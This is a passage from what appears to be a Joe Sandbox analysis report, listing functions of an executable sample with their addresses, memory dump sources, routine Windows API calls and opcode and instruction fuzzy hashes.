                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1541A522E1CB8183E320AB759518379A360FBA4764F909334E6DC03AD1EF6CA4E08720
                                                                                                                                                                                                                                          Function 00007FF79D05CCAC Relevance: 4.6, APIs: 3, Instructions: 94COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3251591375-0
                                                                                                                                                                                                                                          • Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
                                                                                                                                                                                                                                          • Instruction ID: ed25cd8f7e14372c30da1e2ce42fc7e199e3c58c0264eb2b8911b61c09072c64
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: A6313720E0C64285EA34BB7EA8653B9A791AF41784FC41435DDCE8B2D3FE2CA4448279
                                                                                                                                                                                                                                          Function 00007FF79D0601AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
                                                                                                                                                                                                                                          • Instruction ID: 49ae745353af9dcf665a2d462d0641c5b6c8237bb314bb69fc193e6242e3c68c
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0D510361B4DA5286E638AEBE950067AA295BF44BA4FD44730DEEC077CDEE3CD4118620
                                                                                                                                                                                                                                          Function 00007FF79D06C1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorFileLastPointer
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2976181284-0
                                                                                                                                                                                                                                          • Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
                                                                                                                                                                                                                                          • Instruction ID: c8ec8ffa8d634727d4cb67c1188e0dadaa9fd88f3dc2112d94cfcc0b68bb9122
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1D11046170CA8281DA20AB79A804069A761BB45BF4FD40331EEBD4B7D8EE3CD0018704
                                                                                                                                                                                                                                          Function 00007FF79D06ABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • CloseHandle.KERNEL32(?,?,?,00007FF79D06AA45,?,?,00000000,00007FF79D06AAFA), ref: 00007FF79D06AC36
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,?,?,00007FF79D06AA45,?,?,00000000,00007FF79D06AAFA), ref: 00007FF79D06AC40
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CloseErrorHandleLast
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 918212764-0
                                                                                                                                                                                                                                          • Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
                                                                                                                                                                                                                                          • Instruction ID: 73337255999908b743ebf3a41dee322e052a62f40b88c2bc7355c0d89a5e2d41
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: BC21C611F1CA4242FAB477B9945537D9292BF847A4FC84335DA9E473C2EE6CE4458320
                                                                                                                                                                                                                                          Function 00007FF79D06BF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
                                                                                                                                                                                                                                          • Instruction ID: 380d44dde4ecc7bbc3d6dd1b072d251595c208b3f7f8178d70cbfc80aa12cb6d
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4641A432B0CA4187EA34ABBEA54027DB7A4FB55B44FD00231D6CE47691EF2DE402CB61
                                                                                                                                                                                                                                          Function 00007FF79D057F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _fread_nolock
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 840049012-0
                                                                                                                                                                                                                                          • Opcode ID: 3444aa7209edb3b7be450d659aa5a443e70ab9b7aff340a2814dff51627c4016
                                                                                                                                                                                                                                          • Instruction ID: 6a52626b29f954fedac921189b4d5b3f39525cf48ff420a255b25705c36dcc70
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3444aa7209edb3b7be450d659aa5a443e70ab9b7aff340a2814dff51627c4016
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DD219121B0CA5285FAA0BB7B65053BAD691BF45BD4FCC5530EE8D07786EE7DE0418720
                                                                                                                                                                                                                                          Function 00007FF79D06B9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
                                                                                                                                                                                                                                          • Instruction ID: d1d0b0be92ff52fbe9272e8304bde154e4c5315e7ed2e59b4ff0356e76fc6d45
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5F314B72B1CE4285E765BBBD98412BCA650AB40B94FD20335E9AD133D2EF7CE4418731
                                                                                                                                                                                                                                          Function 00007FF79D066004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
                                                                                                                                                                                                                                          • Instruction ID: fa5911b7ecab00e7bc455eebb2e5b709378bc7d870e3c4b050529a56502c0825
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0F115722F1CA4241EA707FBA940917EE264BF55B84FD44231EBCC57A95EF7DD4404760
                                                                                                                                                                                                                                          Function 00007FF79D0763C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
                                                                                                                                                                                                                                          • Instruction ID: 9356ad62d4875e2d8a6a896681d5692799ef0a62520c677c6ff2f63e9f66d1ef
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1D21327261CA4146D775AF2CD840379B6A1AB84B94FD44234D6DE8B6D5EB3DD4408B10
                                                                                                                                                                                                                                          Function 00007FF79D06042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
                                                                                                                                                                                                                                          • Instruction ID: 368a16771ca20d9613cffab755cf7542a7a2dcdc81fb8d676967b3c690f72702
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0A018261B4CB4140EA24ABBA9A01069E691FF95FE0BC88731DE9C17BDAEE3CD4118310
                                                                                                                                                                                                                                          Function 00007FF79D059070 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D059400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF79D0545E4,00000000,00007FF79D051985), ref: 00007FF79D059439
                                                                                                                                                                                                                                          • LoadLibraryExW.KERNEL32(?,00007FF79D056466,?,00007FF79D05336E), ref: 00007FF79D059092
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ByteCharLibraryLoadMultiWide
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2592636585-0
                                                                                                                                                                                                                                          • Opcode ID: 73eda9eaecff5bf44f9f7388716af429d06d22f0ccc674e1ac4a626004a37bf7
                                                                                                                                                                                                                                          • Instruction ID: 8014d4db650de51be205ced4b4cc9e8aeb8073d64ca179fde8bd4fb34838100b
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 73eda9eaecff5bf44f9f7388716af429d06d22f0ccc674e1ac4a626004a37bf7
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 55D08C11B2864541EA64BB7BBA4A6399251AB89BC0EC88035EE8D07B4AEC3CC0814B00
                                                                                                                                                                                                                                          Function 00007FFDA359EF30 Relevance: 1.3, APIs: 1, Instructions: 60COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2285944180.00007FFDA3591000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDA3590000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285918556.00007FFDA3590000.00000002.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA3613000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA3615000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA363D000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA3648000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA3653000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2286219552.00007FFDA3657000.00000080.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2286260013.00007FFDA3659000.00000004.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffda3590000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorLast
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1452528299-0
                                                                                                                                                                                                                                          • Opcode ID: 508d3c56008b8407d9579c500c6569aa09f18e491ddf20235239c49dae927103
                                                                                                                                                                                                                                          • Instruction ID: 00a7a91be56e608565c6d86a818a76fc6286ab5b2b2273db9ea1bcf47d74e329
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 508d3c56008b8407d9579c500c6569aa09f18e491ddf20235239c49dae927103
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: CE21A132B08B8086E3549F26A95036AB2A6FB88BC4F144035EB8D13F96CF3DD551CB08
                                                                                                                                                                                                                                          Function 00007FF79D06D66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • HeapAlloc.KERNEL32(?,?,?,00007FF79D060D00,?,?,?,00007FF79D06236A,?,?,?,?,?,00007FF79D063B59), ref: 00007FF79D06D6AA
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AllocHeap
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 4292702814-0
                                                                                                                                                                                                                                          • Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
                                                                                                                                                                                                                                          • Instruction ID: 4bb413853c7e110253a45a34fbc446f3bf6dd4a6a51d0bc22435111bcc2037ee
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: FBF03A10F0DA0244FE7477F9581167892906F547A0FC80338EAAE8A3C1FE6CA4908530

                                                                                                                                                                                                                                          Non-executed Functions

                                                                                                                                                                                                                                          Function 00007FF79D058BD0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257synchronizationwindowregistryCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
